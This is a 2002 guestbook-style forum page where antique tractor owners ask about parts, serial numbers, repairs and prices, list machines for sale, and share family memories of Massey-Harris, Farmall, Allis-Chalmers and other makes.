Rick Evans wrote on Sunday, April 28, 2002 (PDT):I live in a subdivion and have a small 21/2 car garage with and 7 ft. door. I have liked Massey Harris since I was a kid .We had a 44 and lots of green tractors while growing up.(everyone has green or red around here). I am looking for a small size Massey that will fit in my garage. Massey ponys are to hard to find around here .How big is a 81,or a pacer or a 22 compared to a 44(witch are to big)Thank you Rick
Jason Cybula wrote on Sunday, April 28, 2002 (PDT):I recently purchased a wd-45 could someone tell me where to find the ser#, and how to determine the exact year. I would also like to know hrspr. rating, and does this tractor have a 6-volt system. This tractor has a gas engine, power steering, wide front, and a 3-point hitch.
Sam wrote on Saturday, April 27, 2002 (PDT):Love that tractor, I am looking fer a Super "C" to restore in the calif. area, if anyone knows of one reasonable please e-mail me at Cvbmxr at netscape.net
Sam wrote on Saturday, April 27, 2002 (PDT):Nice Tractor, I am looking for a Jetstar or 335 in the calif. area, to be restored
Adrian N. King wrote on Saturday, April 27, 2002 (PDT):Had my 160 '72 for 8 years and really enjoy it. Having trouble getting parts, any ideas? Need a Ball and Pin threaded, it holds the tie rod to the spindle arm on the model with power steering.
Tim Howe wrote on Saturday, April 27, 2002 (PDT):I have a 1954? surper a. Both rock shafts move slow and seem to labor the pump in one direction (pulling the cylinder into the block on both). I have replaced the check valves, the pressure regulator is in good shape, checked and cleaned all the screens, and can find not other problems. The pump has been replaced(before I owned it). Both rock shafts move fast and strong in the other direction. Is this normal? if not what is my problem?
John Cunningham wrote on Friday, April 26, 2002 (PDT):Hi, I have an Oliver HG42,its a great little machine,but I need a crankshaft. Does anyone out there have one? I'm in Chase, B.C. Canada. Thanks.
Richard Potter wrote on Friday, April 26, 2002 (PDT):We would like to let all you Massey-Harris Pony tractor collectors out there, see our CUSTOM build Massey-Harris Pony Pedal Tractor. www.pottersfarmtoys.com/
william woodock wrote on Friday, April 26, 2002 (PDT):I have a wounderful cub that I'm very happy with, But I also have all the gardening/lite farming attachments with it also. I would like to sell the extra attachments that I am not useing. sicle bar, and planting/cultivating attachments. contact me at; farnsworth at yourinter.net
Doug McGowan wrote on Thursday, April 25, 2002 (PDT):I am in posession of a '37 KTA similar to the one pictured. Purchased by my father new, it has remained in the family since, though be it, extended family for a good many years. The KTA was replaced by an IH W9, twice the tractor which would do half the work. At least that was the story told to me. Before father's passing, he had retrived this tractor, and restored it to running condition. Not real pretty, but running.
Brian wrote on Thursday, April 25, 2002 (PDT):Can anyone tell me where i can find a complete grille assembly for a 1949 "R" Please contact me at my e-mail address I thankyou for your time Brian,Wi
Roger Benzing Luana, Iowa 52156 wrote on Wednesday, April 24, 2002 (PDT): I bought a 220 this spring, It's super tractor to run. Lots of power. 220 books at 137 horse power. most with a good tune up, run 160 to 170 hp.Got some 7000 series tractors, but not as much fun to run as 190 220 style tractors.There more comfortable.
Roger Benzing Luana, Iowa 52156 wrote on Wednesday, April 24, 2002 (PDT): I bought a 220 this spring, It's super tractor to run. Lots of power. 220 books at 137 horse power. most with a good tune up, run 160 to 170 hp.Got some 7000 series tractors, but not as much fun to run as 190 220 style tractors.There more comfortable.
Jim Turner wrote on Wednesday, April 24, 2002 (PDT):My Dad's first tractor was a Massey-Harris (he farmed with horses before that). He had three when I was a kid, a 44 row crop, a 44 standard, and a 22 row crop. I started driving them when I was 9 and spent many hours on them. They are all still on the farm, have always been kept inside, and run great.
Don Bihn wrote on Tuesday, April 23, 2002 (PDT):After the Belgain and Percheron horse teams, my Grandad had an F-14 Farmall. He then bought a new 49 H, which I have now. Dad bought a 45 H and a 45 JD-A. The first tractor I drove was the JD-A. These are all good machines, with many fond memories. I'm planning to restore Grandad's H this year.
Diane Engle wrote on Monday, April 22, 2002 (PDT):We need help trying to find out what year tractor we bought. It is a Minneapolis Moline UTS runs on propane. I have the serial # 0124800510. Please Help. Thank-you Norris & Diane engle
Wayne Hoffman wrote on Sunday, April 21, 2002 (PDT):I have a 1948 International W4 orchard tractor. I believe that it came from the Mt.Hood area. It's rough and does not run. If anyone is interested, let me know. I also have several implements to go with it.
jeff follis wrote on Sunday, April 21, 2002 (PDT):i have an a c trailbike and i need a( right hand thread cam) part no.2067090 fit on pulley comet clutch tc88n.. also i am buying a d15 it jumps out of 3rd gear anybody else tractor do this thank you go big orange
Jack Kerr wrote on Sunday, April 21, 2002 (PDT): You have a very nice B. Plus it's a single front wheel. I have a 1941 B. No more work just a show toy now.
mike hamilton wrote on Sunday, April 21, 2002 (PDT):looking to buy a 8 or 9n tracker with loader, call or e-mail me please.785-488-2936,mh1161 at hotmail.com
Jim wrote on Sunday, April 21, 2002 (PDT):I recently tried to buy a trans/hyt filter. However the AC dealer wanted $75.00 for it. Does this sound right. Can I find this filter after market. please respond.
Tom wrote on Sunday, April 21, 2002 (PDT):What do you recommend for solving the brake problem on the AC 160? Mine work, but just barely. I use it extensively and would really like to solve this problem!
drew wrote on Saturday, April 20, 2002 (PDT):D21 look like one TUFF tractor. We have a WD 45 not much comparison, but, would someday like to have a D21. MY father and I would like one to possibly restore or purchase, any D21 will do.
Mark S. wrote on Saturday, April 20, 2002 (PDT):My brother brought some propety and this old farmall was on it after looking at the web site I now belive it is a cub with a brush hog mower. He says it has a snow plow blade also. Does any one out know if this sound right I know it is not a regular farmall tractor need to know where we can get possible parts and manuals at for rebuilding this cub amd brush hog.
Dan wrote on Friday, April 19, 2002 (PDT):Question I own a wd-45 allis-chalmer trator the seal for the top of trans was go and it got water in trans what oil was us in trans, and final drives. also what oil was used in hydraulics. thanks under way restoration.
Todd Macoubrie wrote on Thursday, April 18, 2002 (PDT):I just purchased my first '36 D. Could someone point me to where I can find service manuals and operator manuals. I would also like to know where I could find a set of steel wheels. Any info that can be provided about anything concerning the D would be most appreciated.
jenn wrote on Thursday, April 18, 2002 (PDT):I have a 1949 G gas that we purchased out west. I'm from Pennsylvania. We brought it home and restored it now I just take it to shows. Some times I plow with it. John Deere never actually made an LP G, correct?
doc wrote on Wednesday, April 17, 2002 (PDT):Well heres one fellow that likes the pop pops all day. Im just a tractor man period. Love them farmalls and love them deeres too.
Kyle wrote on Wednesday, April 17, 2002 (PDT):I am thinking about buying a Allis Chalmer G tractor I am wondering how much it would cost just to buy one that runs good but its not restored.
Simon Bradshaw wrote on Wednesday, April 17, 2002 (PDT):My neighbor John Davis of Pink Hill NC has a Super 44 his grandfather bought new and framed with for years. It is now being restored by John. The tractor is in top running condition and almost fully restored in appearance. Hopefully he will finish it soon and we will post a pic of it on this web site.
Landon Paulson wrote on Tuesday, April 16, 2002 (PDT):Hello Mr. Walter What year is your tractor mine is a 1946 Leader Modle D. I hav heard that the Transmition Parts are the same for some Massy Fergousin combines i am not sure what year or types. i have been looking to ... do u have a picture of it i would appretiate it if u could pass it on and when i get a scanner i will forward u mine. I am 14 and i hav loved tractors my whole life and every thin else antique My leader is part of my family i wouldn't give it up for the world, also hav restored personally emaculate shape a 1977 Honda 125 Trail CT-125, 1968 Honda 50CC Moped, 1946 Leader Modle D , and process of restoring 1966 Ford Thunderbird Landeau 428. Well take it easy bye for now. Landon Paulson (Proud Leader owner)
KOREY WALKER wrote on Tuesday, April 16, 2002 (PDT):you gota nice tractor i was just wanting to know if you want to sell it its ugly my uncles is nicer
TJ Darnell wrote on Tuesday, April 16, 2002 (PDT):I'm 14 and i have a allis charmers tractor that is 52 years old and it still runs. I do all my own repairs and its still running stonger than ever. I would like to paint it the normal color the color it was 52 years ago. If you will please write me back to tell me. This is the stronges tractor i have used and will continue using. TJ
Karl Walter wrote on Tuesday, April 16, 2002 (PDT):I have a Leader tractor, unknown model, and I need transmission parts. The transmission casting # is 47b-301 Is this a transmission made by Leader?
Matt Juran from Dauphin County, PA wrote on Tuesday, April 16, 2002 (PDT):I've owned a Farmall SM now for 3 months and haven't had any previous problems until now. The right wheel ( on a wide front ) wiggles left to right when I'm in 5th gear going on any backroads or highways. Is it safe to run er like that, what's the problem and can it be replaced?
cliff corton wrote on Tuesday, April 16, 2002 (PDT):I think I have part of a conversion kit can anyone help me find out more about these tractors. please contact me.
Bob Stevenson wrote on Monday, April 15, 2002 (PDT):I have a 55 that I think is among the last produced under that name. I use it nearly every day in our family retreat center. We pull a two bottom plow with it, pull cutters for trial blazing, and use it twice per week on a seven foot rototiller. We have been running it for six years with just a clutch replacement so far. Its gas, 12volt, getting weaker, but remains a very useful tractor.
don attridge wrote on Sunday, April 14, 2002 (PDT):recently bought 340 utility(1958?).runs beautiful.gas driven.has front end loaderwith manual steering.would like to change to power steering.very hard to find parts.does anybody know if other models fit this?any feedback would be appreciated.9056270903
R. Redmond wrote on Saturday, April 13, 2002 (PDT):I have a 1942 AV Hi-Crop Farmall. SN# 85932. I found the year by using the SN# at a Yahoo site for Farmall tractors. I hope this might help someone. What I would like to know is the actual value of my AV. It has electric start, 4 cyl. gas engine and NO hydraulics at all! Although it is in serious need of an engine rebuild and restoration, it is a joy to do the garden with!
Gene Gurley wrote on Saturday, April 13, 2002 (PDT):I have a 1949 Ferguson that is in working condition. The serial # is TO 7006 and the engine # Z120A600. My father purchased this tractor from a tobacco farmer in KY. The tractor appears to have the original paint. I also have a two bottom plow, six foot blade and disc that came with the tractor. I would sell this complete set for a reasonable price. I am located in Southern Illinois.
Tony Brinkmann wrote on Saturday, April 13, 2002 (PDT):Having driven M5's as main tractors for many years I have grown to repect them for their toughness and reliability. In Australia I have only seen the standard frontend model, we have two, both 1961 models, one has a FEL (locally made) this was put on in 1980, and still does an enormous amount of work for a tractor 41 years old. It does about 500 hours a year, has at least had two engine rebuilds and three amplitorc reconstructions. I feel that the FEL has contributed to undue wear and tear on amplitorc! Total hours for this tractor is in excess of 16,000, but is soon to be made redundant and thus suitably pensioned off. The other M5 is as bought, no cab, no three point linkage, and no repaint, and is in spendid show condition, it has done about 6,000 hours, and does very few now.
Kirk Newton wrote on Friday, April 12, 2002 (PDT):I have a 1958 International Cub Lo-Boy that I have been restoring for the past few months. My father originally purchased the tractor in the 1970's. So far I have removed the head gasket, starter, radiator and the generator. I have rebuilt & reinstalled all these items. Last Sunday I was able to start the tractor for the first time in about 30yrs. It runs like a sewing machine! It has all the original parts. It is still a 6-volt positive ground system. I still have a long way to go, but I have been enjoying myself rebuilding it.
Louis Molleur wrote on Friday, April 12, 2002 (PDT):In the old days I use to drive one similar to this one around 1964 thru 1972. The model was an 550 Special. I tried to find some trace of that peculiar model on the web without any success. By the way the 550 was sold in Canada under the trade name of Oliver 550. The Cochsutt model 550 was also available from Oliver vendor. At that point of time the Oliver 500 model was also available wich was more like a David Brown's cousin than anything else.
Houe Seau wrote on Friday, April 12, 2002 (PDT):Good Morning USA and Canada! What a beautiful day! I like tractors. BYE
jason schott wrote on Friday, April 12, 2002 (PDT):JD boys want all kinds of comparisons just to prove what their tractors can do they just list all the features JD has then the farmalls. but who on this site can stand a pop-pop-pop all day long
Eric Willis wrote on Friday, April 12, 2002 (PDT):I am about to purchase a cub for the first time. It's serial # is 216108, which says it's a 1960. It has been painted red over yellow, I have been told that some of the cubs were painted yellow in the early days of production but not 1960. Is this true? And also, what type of horsepower is this tractor producing? PLEASE HELP!!!!
ralph shingle wrote on Thursday, April 11, 2002 (PDT):have a 1941 allis chalmers wd i am thinking of selling. i still use it to bring in my hay. it just keeps on running. i am retiring from being a farmer and that is why i may sell it. any lookers? thanks ralph
Ray B. Ivey wrote on Wednesday, April 10, 2002 (PDT):I just purchased a 1949 Farmall Cub that had been completely restored even to the decals. How much would this tractor be worth. It runs and looks like new.
Robert McKnight wrote on Tuesday, April 09, 2002 (PDT):I once drove a small tractor like the allis 'G', except that it was steered with your feet, and the under-belly cultivators were moved left or right by hand. I was about 12 at the time, and don't remember what it was called. I now could use one for my business, trialing flowers for seed companies. Thanks in advance.
jason schott wrote on Tuesday, April 09, 2002 (PDT):Grandpa has a 8n that leaks oil out the right side of the back axle any idea of what i could do to fix the problem.
BUD SCHAEFER wrote on Tuesday, April 09, 2002 (PDT):I AM LOOKING FOR A AC/D17 OR19 DON'T KNOW ALOT ABOUT THEM.I HAVE TALKED TO AFEW GOOD OLD BOYS ABOUT THEM AND THEY SAID ALOT OF GOOD THINGS.JUST NEED TO DO ALITTLE GROUND WORK FOR HORSES AND MOVE AFEW ROUND BALES WITH IT.ALSO HAVE BEEN TO AFEW AUCTION THEY SEEM TO SALE VERY FAST.I'M NOT RICH SO WHAT'S A FAIR PRICE FOR ONE IN FAIR COND.THANKS FOR ANY HELP.
Chad wrote on Monday, April 08, 2002 (PDT):I have a 1948 Pony that barely runs, but we use it to cut te grass in the fields and haul newly-cut trees. I just bought a shiny new Kubota to do the work. My question is--should I sell my MH for scrap, restore it to be a show tractor, or restore it to be a work tractor? If you have any clue how much money each choice would bring in, please email me. Thanks!
Damon K. McIntire wrote on Monday, April 08, 2002 (PDT):Im looking for one items. One is the front piece that goes over the top of the grill right in front of the radiator cap. I believe I have a 52 model B, but not sure. How can I tell. Also, this tractor has hydrolics, but it is not a standard 3 point hitch. It looks like a cultivator lift. Can this tractor be fitted with a 3 point hitch somehow? My email is mdamon at goidsi.com. Thanks, Damon K. McIntire
gary wrote on Sunday, April 07, 2002 (PDT):I am currently looking at a massey harris pacer. It comes with snow plow, cultivator, a single 12 plow runs great and its in very good condition. The guy is asking 3,500 is that a fair price.
John Boyd wrote on Sunday, April 07, 2002 (PDT):1946 Rowcrop Oliver cockshutt Looking for a engine to finish restoration of my Fathers First tractor
joe Rushkewich wrote on Sunday, April 07, 2002 (PDT):I love to work with this two twenty tractor. I work 240 acres .the tractor is 122 horsepower also in sask canada the tractor is written Two twenty and not AC 220
billy cooke wrote on Sunday, April 07, 2002 (PDT):I have a 1960 power major that I am parting out many good parts redon head,good block tractor is all most complet call me at 401-364-1289 in RI
Eric Todd Gardner wrote on Saturday, April 06, 2002 (PST): I have a vac-14 ser 6038589 the book i have from peter letourneau says they were built in 1953-54 but these ser number are from a 1956 , I wonder if he is right or wrong , had mine 13 years ,done everthing from bushoging to bailing hay , I also have a no 6 bushog , almost as old as the tractor , I like my case .
brian correll wrote on Saturday, April 06, 2002 (PST):I need a price on famall[A] tractor yrar 1939 been overhaulded and new tires.
bob curran wrote on Saturday, April 06, 2002 (PST):Living in Massachusetts. I'm looking for a decent cub or cub lo boy with turf tires and belly mower within reasonable distance of southeatern Mass. area. Primary interest is in mowing a large lot surrounding my house and limited gardening. Not looking for a showboat as much as a dependable working machine.
Nick Seger wrote on Friday, April 05, 2002 (PST):I love running our good old 1066. Her tachometer is about to roll over and she's still running strong. She's going to live on our farm forever, working like she is a new one. RED POWER WILL RULE THIS COUNTRY, FOREVER!
kelley dalton wrote on Thursday, April 04, 2002 (PST):I have a massey-harris 44 special. I think it's a 1951 model but i'm not sure.It's got all original parts and is in good running order with good tires on it and a new paint job.I'm putting this tractor up for sale for about 1500. dollars,it could be yours.520-568-9545
Ron wrote on Thursday, April 04, 2002 (PST): I purchased my 1955 fordson major diesel last spring(3-2001). It has a wagner loader,3point lift, and sherman powerdigger backhoe. The operator, service, and parts manual is available and I got whatever parts I needed for the engine rebuild new. The only problem I had was locating a decent fuel tank(mine has multiple big dents). 3/31/2002 I bought another fordson major diesel w sherman power digger and wagner loader. I'm going to part this one out even though it still runs. Oil and fuel filters are available through a local autoparts store for a fraction of what a Ford New Holland dealer wanted for them. The radiator cap and hoses were also readily available. The fuel pumps are available new. It was difficult finding a mechanic who had worked on one but I did and had him help me rebuild the engine and set it up. There is a mechanic in England (Brian) who give excellent info on upgrades and troubleshooting. He can be found on the fordson page under yesterdays tractors. I'm located in New Jersey and found parts sources in Pa. If you can't find what you need email me. Maybe I can help.
Gideon Yakubovitch wrote on Thursday, April 04, 2002 (PST):I need for my M.Ferguson 35 1960 or 1961 model, made in US the two decals that come in the two sides of the hood, I also need the badge (emblem)for it, can somebody help me in this and/or direct me as to where I can achieve it? thank you in advance, my e mail is; gideonyz at netvision.net.il
Jack wrote on Wednesday, April 03, 2002 (PST):I have 2 cubs with 2 speed rear ends are these rare. Also one has the quick coupler with a rototiller?
Daniel M. Newman wrote on Wednesday, April 03, 2002 (PST):I am looking for a farmall 140 or 150 and I live in the state of Ga. Does anyone know of one of these tractors in this arer and there approximate values with the equipment and also if a three point hitch can be used with them.
Dave wrote on Wednesday, April 03, 2002 (PST):I am looking for a tool box and the rear wheel wrenches used to change the wheel width for an AC 160. Does anyone have these for sale or can they help me locate these items. Also need pages 21 through 24 of the operator's manual. Could anyone provide copies of these pages?
nixy wrote on Wednesday, April 03, 2002 (PST): Tractor Training Service unit capacities OLIVER 70 Engine....5 quarts-Transmission case....6 1/2 gallons-Fuel tank....15 gallons-K.D. Aux tank....1 gallon-Cooling system....4 1/2 gallons-Oil cup on air cleaner....4/5 of a quart
brendan o'neill wrote on Tuesday, April 02, 2002 (PST):Does anybody know if the Ford 9N was exported to or manufactured in Europe especially Ireland. I want a suitably ancient tractor model for a story i'm writing.
Aubrey/Teresa wrote on Tuesday, April 02, 2002 (PST):We are working on our 1941 JD H. Needs carb work now so that is next. Our SN plate is behind flywheel as well. Linstrom is the best, cheapest place we have found for parts. We have done alot of business with him.
Greg S. wrote on Tuesday, April 02, 2002 (PST):Have 1960 ac d17 motor says power creater on side is this or
mike latimer wrote on Sunday, March 31, 2002 (PST):I have a EXP-VAC 48.3 that's all that is on the name plate and I would like to know what EXP means and the year of this tractor. Mike L.
Peter Palmblad wrote on Sunday, March 31, 2002 (PST):I have a 1956 International 300 Utility tractor for sale. Has fast hitch, PTO, fenders, lights, decent paint, runs great, doesn't smoke. Tires 40% steering a little loose. Will take $2495.00 or B/O for it.
venner celander wrote on Sunday, March 31, 2002 (PST):i have a field marshall tractor. when bought we were told it was a 1928 field marshall series 11. serial number on tractor is 10717 ss. if anyone has information, that they could get to me so i can find out for sure if year is correct. also would like to know where i could get spare parts possibly. thank you- venner celander --email is vcelander at bevcomm.net
Teeter wrote on Sunday, March 31, 2002 (PST):I have converted a 8n to a flat head V-8 100 hp started in June 2001 finished in March 2002. In just my spare time built conversion myself total $73.00 in material. Showed in tractor show In White Oak N.C. out of approx. 100 tractors placed Best Of Show. Very Proud Of It!!!!!!!!
Rob Unseld wrote on Sunday, March 31, 2002 (PST):i have a 1934 farmall f-12 and teh head has a large crack. i cant find a replacement part if anyone knows where i can find one it would be greatly appreciated. thank you.
Owen LaBarge wrote on Sunday, March 31, 2002 (PST):I am looking for a pair of rims for my C. I would like them to be original, not aftermarket. Also if anyone has a grill assembly or attachments please e-mail me. Thanks.
brent martin wrote on Sunday, March 31, 2002 (PST): We have a jd 420c that we are restoring and I am wondering where to get parts such as top roller and bracket.As far as we could find out about her is that she is around 1954-55 and a 420c as far people could tell us.Any information would be nice to know.
bret wrote on Saturday, March 30, 2002 (PST):I have a cub lo-boy seral number 20195j Its yellow and white could someone tell me the year its going back to work I just add a 3 point hitch Thanks
tom wrote on Saturday, March 30, 2002 (PST):i bought an ac-b. it has been altered. someone put an alternater on it. i think the magneto is bad. i dont have any fire to the distributer. can anyone tell me how it should be wired to run. thanks.
Louie Jeune wrote on Saturday, March 30, 2002 (PST):I bought one of these B tractors in 74 restored it and used it for pulling stumps in New York State. Sold it in 77 and moved to Arizona and never saw one again.
Matt Anderson wrote on Saturday, March 30, 2002 (PST):I just found side panels for a rock island tractor in my barn. they appear to be kinda like the fleetline oliver engine side panels. If you need something like this let me know.
Bruce Gladiuk wrote on Friday, March 29, 2002 (PST): I would like to know if anyone has a rototiller that they are selling to fit a `59 Allis Chalmers to fit a `45. Thanks.
Michael Roush wrote on Friday, March 29, 2002 (PST):Recently purchased D-21 II, 3666 original hours with overhaul 300 +/- hours ago. Good rubber, starts and runs good, needs hoses and hydraulic seals replaced. Sheet metal is great shape with exception of grill. Intend to 'play' a little, mow CRP, replace hoses and seals, and eventually restore to orifinal condition. Always wanted one and thought better not pass up opportunity!
Jim Posey wrote on Friday, March 29, 2002 (PST):In 1954-55, I worked on my uncle's farm in Blythe, Cal. He had a butane MM-U that I drove a lot disking alfalfa fields for replanting. I liked that machine very much. it never failed us, and I can't remember ever doing much maintenance work on it other than changing oil and interminable greasing. I never was on another one, but I also ran a Farmall H a lot for lighter duty work. That was a fun machine too, Wish I had them both today!
Jim Posey wrote on Friday, March 29, 2002 (PST):In 1954-55, I worked on my uncle's farm in Blythe, California. He had a International I-9, a Farmall H, and a Minneapolis Moline U. Both the I-9 and the MM were fueled with Butane gas. I drove the MM a lot, disking fields for alfalfa planting, and we used the H for mowing, raking, and baling, but for the realy heavy work such as leveling land with a rotary carryall, or pulling a big disk, the I-9 was put to work. I don't know what became of these machines after the death of my uncle, Atkin Posey, but I'll never forget the experiences I had as a seventeen year old in the heat of the Colorado River Valley at Blythe.
Vincent Wattson wrote on Friday, March 29, 2002 (PST):I have a "59" Gas Farmall, which I bought recently. I was warned they were cold blooded, and would flood easily. This seems to be the case, at least on this one. New points, condensor, am replacing cap, rotor, and wires. Cleaned up all the connections under the insturment cowling. Got spark to plugs, but no go on starting. It was suggested to widen out the plug gap to .030 vs. manual gap of .020. Someone else suggested putting on an electonic igintion conversion kit. Do they make them, for this tractor, and where can I order one. If not what about going to a differant coil to get more spark? Any other suggestions?
W.J. Shaver wrote on Thursday, March 28, 2002 (PST):An of you out there have experience on freeing up stuck rock shaft on Jd 60, Has fluids, response from hydraulics etc, do I have to go in the rear end of my machine 7 what might have to replace, also what plugs should be in the powertrol block to have fluid power to quick disconects & three point linkage. Thank you Bill Shaver.
Jim Desher wrote on Thursday, March 28, 2002 (PST):I have access to an AC-HD5 . it has a detroit engine, on the side plate it reads (tractomotive deerfield Ill. )On the other side plate it reads Tractos.It has been sitting for about 4 years outside it is surface rust and needs painting and some tender loving care. Some new hoses.Seems to be all there. Any one interested make an offer. jimydesh at aol.com
dave glover, ont. wrote on Thursday, March 28, 2002 (PST):i currently own a 560 diesel and a 460 gas.love them both but decided to let the 460 go.it's totally restored an looks awsume,but then this series is the best looking tractors ever built.ihave both narrow and wide front axles available. these tractors are great contendors in the pulling circles!
charles w hawkins wrote on Wednesday, March 27, 2002 (PST):I have an A farmal for sale. This tractor was bought new in Athens Ga. in 1941 and has been used only to work gardens and small corn patches. The planters and fertilizer hopper have never been installed on the tractor and are in new condition. The culterivors are complete. This tractor is being used to work a small garden. The vacume lift has been removed and is in storage. I use the hand lift. This would be a nice tractor to restore.
farmerjim wrote on Wednesday, March 27, 2002 (PST):today i purchased a 1951 farmall c this is my first restoration project and also my first tractor i need all the help i can get what do you think
Skip Hietala wrote on Wednesday, March 27, 2002 (PST):Question??I've researched O-14 and W-14, but I have my dad's I-14 in good running order. I have very little info on this tractor. Can you help me out? Appreciate any responses. Thanks.
Lyle Drake wrote on Tuesday, March 26, 2002 (PST):I own a 1954 Oliver Super 66 with the row crop option that I am currently restoring. I need a radiator for this machine, if you know where I could find one please let me know. Thank you.
Carlous King wrote on Tuesday, March 26, 2002 (PST):Saturday march, 23. I was out searching the country side for a good used tractor and came across one at a bargain so I purchased it on the spot. Did not know much about it except it ran and it was a Ferguson. To my suprise after searching the web pages, I'm a proud owner of a 1950, TO 20 Ferguson s/n-17446. I would like to know if anyone has had any dealings with one that has been changed over to LP gas? I have consider changing it back to it's original state but was advised not too. Does anyone know if changing it back to gas will hurt my fregie? And like many others does anyone know were I can find a manual?
Bill wrote on Tuesday, March 26, 2002 (PST):I have a 1955 WD45 in very good and original condition. My grandpa bought it new and put it in the shed every night.
Paul Visentin wrote on Monday, March 25, 2002 (PST):I am restoring a Massey 81. I was told that the Canadian Air Force painted them blue (Air Force Colors) during the second world war. Apparently they were used to tow aircraft on the tarmac. If anyone has any info on this I would appreciate any comments you have..
D Edwards wrote on Monday, March 25, 2002 (PST):I was just given a 44 diesel Massey Harris tractor. It hasn,t ran in over ten years. I was wondering if anyone had any info on the engine. It still turns over, but all the fluids and filters will have to be changed before it can be started. b
Duane M. Anderson wrote on Sunday, March 24, 2002 (PST):I would like to find information about a minneapolis moline twin city 1937 JTS, would like to find front and back steel wheels.
Donald Hann wrote on Sunday, March 24, 2002 (PST):3/24/2002 Iam writing because i am curious as to why there is never any mention of the 60 Standard, In my opinion they are a much better tractor than the Row Crop 60. These little tractors are not quite as heavy overall weight as the row crop, but they are the same power-wise. The Standard is heavier in the front end,has a heavier frame which does not break and will pull as much as a Row Crop will. I am writing as the owner of a 60 Standard which i restored 1`2 or 15 years ago and it still looks pretty good but i am getting ready to give it a fresh paint job as it gets scarred up hauling it around to numerous shows, this little tractor runs sweet as honey and never needs much of anything done to it . as you can probably tell by this writing, this is my favorite tractor of the six that i own.PLEASE DO NOT PUBLISH MY E-MAIL ADDRESS.
Jason wrote on Sunday, March 24, 2002 (PST):Does anyone have a farmall B tractor muffler for sale?? Here is my email address ding47326 at yahoo.com
Jason wrote on Sunday, March 24, 2002 (PST):Does anyone have a farmall B tractor muffler for sale?? email if you do.
Allan Lassey wrote on Sunday, March 24, 2002 (PST): Own several oliver tractors and am looking for dry type air cleanersm not oil bath for 1900 or 1950 with a Detroit Diesel Engine. Anyone know whee I can get any e-mail me at adlassey at mcn.net Thanks and have a great day Allan
Ian Curran wrote on Sunday, March 24, 2002 (PST):My Dad has a W-4,Plus a Super W-6 They are both very dependable tractors.They did our farm work for many years and still are used on a regular basearound the farm for the lighter jobs now.We still have most of the drag type imploments to fit them.I would say a 3 furrow McCormick Deering Plow behind a W-6 does a better job plowing then any newer plow out there today!
Willie wrote on Saturday, March 23, 2002 (PST):I saw a farmall lp gas tractor for sale for $2200.00 with a blade, three point hitch, pto power steering, hydraulic line connections for a loader I suppose. My question is. Is it a good deal being it is a lp gas engine? I don't know much about tractors but it looks good. Another problem is I think it is a 565 or 665 but have never heard anyone talk about those numbers, Ive looked it up on another web sites and have come out empty. Would anyone know how many hp it is and what year? Thanks.
Jerry Huerkamp wrote on Saturday, March 23, 2002 (PST):I have a GVI and would like to know what it is worth. Because they used for pulling the packing machine after the road was tared. It's a 6-cylinder deisel.
Richard Moore wrote on Friday, March 22, 2002 (PST):The 730 is a really nice tractor. My father-in-law aold his and has regretted it. I currently have three B's, one M and an AO. I would like to score a 730 or 830 with electric start that is located on the west coast. Any leads would be appreciated.
Larry O'Melay wrote on Friday, March 22, 2002 (PST):I have an 80 diesel that I was planning to restore. I had a heart transplant the 8th of July,2001, This year I am going to restore it seeing I have my health back. Good reason to get well,don't you think?
JIM LANG wrote on Friday, March 22, 2002 (PST): Tere is no better sound than a G I own one of each unstyled deere and the G is the best. Nice job on yours.Nice to see good restoration jobs.
Crazy Chris Poland wrote on Tuesday, March 19, 2002 (PST):I b soloved most coolest pussle in mi lif. Mi cat flis faster than mi dog , that b y she b needin braces.
flyin mojo wrote on Tuesday, March 19, 2002 (PST):i flew to the moon on one of these tractors
Ralphing Ralph wrote on Tuesday, March 19, 2002 (PST):I was shaving today on my tractor and I Ralphed. Right on the Tractor. It went all over the tractor. Then it stalled after spitting on my leg. This must be the most worthless, junkiest, punkiest, Ralphiest, worstiest, tractoriest, Piece of poo-poo pants on this side of poop hill.
Alberta wrote on Monday, March 18, 2002 (PST):My brother-in-law bought some land in North Carolina. He found a Fordson tractor on the land, says the date says 1914. Could that be right?
Larry Hoppe wrote on Monday, March 18, 2002 (PST):I have recently restored an rock island G-2 and im looking for a carburator float for a stromberg m-2.any help would be appericated Contact hoppe at lyn.net
Jack Atkins wrote on Monday, March 18, 2002 (PST):I have just dragged home a 1934 f12. The mag. is missing but everything else seems to be there. I probably will part out if anyone needs anything. Can e-mail pic.
john perusello wrote on Monday, March 18, 2002 (PST):to pual your tactor is a 1948 what parts do you need and what are tou willing to spend also how good of shape is you tractor
Ted Allison wrote on Sunday, March 17, 2002 (PST):Ya i have a 1961 AC D17 that was my great grandpa's...he didn't use it much on the farm cuz he passed on a few years later, it was pretty much a retirement tractor for him to run around on, kinda like his own cadilac...it's still in the condition he left it, shinny orange and still settin in hte garage
Dillon J Palmquist wrote on Sunday, March 17, 2002 (PST): I have a JD H. I want to restore the tractor. Looking for places to get parts.
Kevin wrote on Sunday, March 17, 2002 (PST): I have found a Leader tractor on my farm and was believed to be used for parts. How would I find the Serial number and would like to know how to find the value. Thanks
Thomas Vaughan wrote on Sunday, March 17, 2002 (PST):The first tractor I drove was a 1953 ZB MM. I spent many hour driving it with a 2 bottom oliver rope trip plow. Also learned my first mechanicial skills on it under a shade tree.
Steve M wrote on Sunday, March 17, 2002 (PST):I found a International 300 that I can purchase. May not be running, but that is ok. What is the specs for this tractor. HP? Does it have live PTO and Hydraulics. This one does come with a loader, not sure of serial number yet.
sidney t. wrote on Saturday, March 16, 2002 (PST):I have a 1943 H my father and I were restoring,He passed away 03/30/00.The wrenches are still sitting where we left them,but each day I get a little better . R.I.P.J.E.T.
Jerry Hurst wrote on Saturday, March 16, 2002 (PST):I have been playing with allis g tractors all of my life. If you have any questions call me at 812 967 3049 Jerry
randy beasley wrote on Saturday, March 16, 2002 (PST):i need ring and pinion grars for 1937 k w would consider complete tractor or parts tractor in west cent il or st louis mo area thanks
Mark Paskevich wrote on Saturday, March 16, 2002 (PST):I have a 1928 Rock Island Model "F" 18-35 tractor with Buda "YR" engine, Dixie-Spiltdorf-Aero 46C Magneto and Stromberg M3 Carb on steel wheels with lugs. I'm interested in any spare parts of any kind, rubber tire wheels/rims to fit same, original advertising material. Also interested in complete Rock Island tractors running or not, restorable or for parts. Please contact markp at rotec.com Ph;250-260-6299
Kirsten Waljje wrote on Friday, March 15, 2002 (PST):My dad has a model R Case. We are having difficulty acquiring information on this particular model. What was the original color and tire size? Any other information concerning this tractor will be welcome.
Don Grunewald wrote on Friday, March 15, 2002 (PST):I am restoring a l944 model 345 Silver King. I have been told by one party that they were painted white during the war on account of the shortage of aluminum. Has anyone ever seen one like that?
